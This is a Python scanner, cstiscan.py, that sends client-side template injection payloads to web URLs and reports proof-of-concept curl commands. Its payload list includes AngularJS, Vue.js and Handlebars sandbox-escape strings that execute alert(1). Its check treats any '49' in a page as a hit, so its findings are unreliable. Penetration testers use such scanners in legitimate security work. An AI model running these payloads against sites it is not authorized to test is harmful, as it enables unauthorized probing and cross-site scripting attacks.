identify and exploit potential Client-Side Template Injection (CSTI) vulnerabilities in web applications

cstiscan.py

import asyncio
import aiohttp
from typing import List
import click
from rich.console import Console
from rich.progress import Progress
from rich.table import Table
from bs4 import BeautifulSoup
import re

console = Console()

PAYLOADS = {
    'AngularJS': ['{{7*7}}', '{{constructor.constructor("alert(1)")()}}'],
    'Vue.js': ['{{7*7}}', '{{_Vue.extend({"template":"<span v-html=constructor.constructor(\'alert(1)\')()></span>"})()}}'],
    'Handlebars': ['{{7*7}}', '{{#with this as |obj|}}{{obj.constructor.name}}{{/with}}'],
    'Generic': ['${7*7}', '<%=7*7%>', '{7*7}']
}

async def test_single_url(url: str, session: aiohttp.ClientSession) -> dict:
    result = {"url": url, "vulnerable": False, "details": [], "poc": []}
    
    try:
        async with session.get(url) as response:
            content = await response.text()
            soup = BeautifulSoup(content, 'html.parser')
            
            # Look for common template engine signatures
            for engine, patterns in PAYLOADS.items():
                for pattern in patterns:
                    encoded_pattern = pattern.replace('{', '%7B').replace('}', '%7D')
                    test_url = f"{url}?test={encoded_pattern}"
                    async with session.get(test_url) as test_response:
                        test_content = await test_response.text()
                        if '49' in test_content or 'alert(1)' in test_content:
                            result["vulnerable"] = True
                            result["details"].append(f"Potential CSTI with {engine}")
                            result["poc"].append(f"curl '{test_url}'")
                            break
                if result["vulnerable"]:
                    break
            
            # Check for unescaped user input in script tags
            scripts = soup.find_all('script')
            for script in scripts:
                if script.string and '{{' in script.string:
                    result["vulnerable"] = True
                    result["details"].append("Unescaped user input in script tag")
                    result["poc"].append(f"Check script tags in the HTML source of {url}")
    except Exception as e:
        result["details"].append(f"Error: {str(e)}")
    
    return result

async def test_urls(urls: List[str]) -> List[dict]:
    async with aiohttp.ClientSession() as session:
        tasks = []
        for url in urls:
            task = asyncio.ensure_future(test_single_url(url, session))
            tasks.append(task)
        
        results = []
        with Progress() as progress:
            task = progress.add_task("[cyan]Testing URLs...", total=len(urls))
            for future in asyncio.as_completed(tasks):
                result = await future
                results.append(result)
                progress.update(task, advance=1)
        
        return results

def display_results(results: List[dict], show_poc: bool):
    table = Table(title="Client-Side Template Injection Scan Results")
    table.add_column("URL", style="cyan")
    table.add_column("Vulnerable", style="magenta")
    table.add_column("Details", style="green")
    if show_poc:
        table.add_column("PoC", style="yellow")
    
    for result in results:
        if result["vulnerable"]:
            vulnerable = "Yes"
            details = "\n".join(result["details"])
            if show_poc:
                poc = "\n".join(result["poc"])
                table.add_row(result["url"], vulnerable, details, poc)
            else:
                table.add_row(result["url"], vulnerable, details)
    
    console.print(table)

@click.command()
@click.option('--url', help='Single URL to test')
@click.option('--file', type=click.File('r'), help='File containing URLs to test')
@click.option('--poc', is_flag=True, help='Output PoC curl commands')
def main(url, file, poc):
    if url:
        urls = [url]
    elif file:
        urls = [line.strip() for line in file if line.strip()]
    else:
        console.print("[bold red]Please provide either a URL or a file containing URLs.[/bold red]")
        return
    
    results = asyncio.run(test_urls(urls))
    display_results(results, poc)

if __name__ == "__main__":
    main()